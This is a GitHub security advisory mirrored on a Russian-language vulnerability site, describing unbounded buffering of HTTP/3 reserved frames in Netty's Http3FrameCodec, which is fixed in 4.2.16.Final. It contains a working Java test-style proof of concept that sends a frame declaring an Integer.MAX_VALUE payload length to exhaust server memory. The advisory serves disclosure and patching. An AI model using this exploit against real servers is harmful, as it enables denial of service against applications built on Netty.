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GHSA-hpcc-26xq-25fv

Опубликовано: 22 июл. 2026
Источник: github
Github: Прошло ревью
CVSS3: 7.5

Описание

Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types

Summary

Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.

Details

io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:

// Handling reserved frame types // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8 if (in.readableBytes() < payLoadLength) { return 0; }

The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.

This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.

PoC

@Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory()); try { X509Bundle cert = new CertificateBuilder() .subject("cn=localhost") .setIsCertificateAuthority(true) .buildSelfSigned(); QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem()) .applicationProtocols(Http3.supportedApplicationProtocols()) .build(); CountDownLatch serverConnectionClosed = new CountDownLatch(1); ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder() .sslContext(serverContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10_000_000) .initialMaxStreamDataBidirectionalLocal(1_000_000) .initialMaxStreamDataBidirectionalRemote(1_000_000) .initialMaxStreamsBidirectional(100) .tokenHandler(InsecureQuicTokenHandler.INSTANCE) .handler(new ChannelInitializer<QuicChannel>() { @Override protected void initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConnectionClosed.countDown()); ch.pipeline().addLast(new Http3ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { cause.printStackTrace(); ctx.close(); } })); } }) .build(); Channel server = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(serverCodec) .bind("127.0.0.1", 0) .sync() .channel(); QuicSslContext clientContext = QuicSslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .applicationProtocols(Http3.supportedApplicationProtocols()) .build(); ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder() .sslContext(clientContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10_000_000) .initialMaxStreamDataBidirectionalLocal(1_000_000) .build(); Channel client = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(clientCodec) .bind(0) .sync() .channel(); QuicChannel quicChannel = QuicChannel.newBootstrap(client) .handler(new Http3ClientConnectionHandler()) .remoteAddress(server.localAddress()) .localAddress(client.localAddress()) .connect() .get(); QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get(); ByteBuf header = Unpooled.buffer(); // Write reserved frame type (64) header.writeByte(0x40); header.writeByte(0x40); // Write payload length (Integer.MAX_VALUE) header.writeByte(0xC0); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x7F); header.writeByte(0xFF); header.writeByte(0xFF); header.writeByte(0xFF); rawStream.write(header); // Write the maximum allowed payload int payloadSize = 1_000_000; ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]); rawStream.writeAndFlush(payload).sync(); assertTrue(quicChannel.isActive()); quicChannel.closeFuture().await(5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finally { group.shutdownGracefully(); } }

Impact

Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.

Пакеты

Наименование

io.netty:netty-codec-http3

maven
Затронутые версииВерсия исправления

< 4.2.16.Final

4.2.16.Final

EPSS

Процентиль: 41%
0.00522
Низкий

7.5 High

CVSS3

Дефекты

CWE-400

Связанные уязвимости

CVSS3: 7.5
ubuntu
17 дней назад

Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.

CVSS3: 7.5
nvd
17 дней назад

Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.

CVSS3: 7.5
debian
17 дней назад

Netty is a network application framework for development of protocol s ...

EPSS

Процентиль: 41%
0.00522
Низкий

7.5 High

CVSS3

Дефекты

CWE-400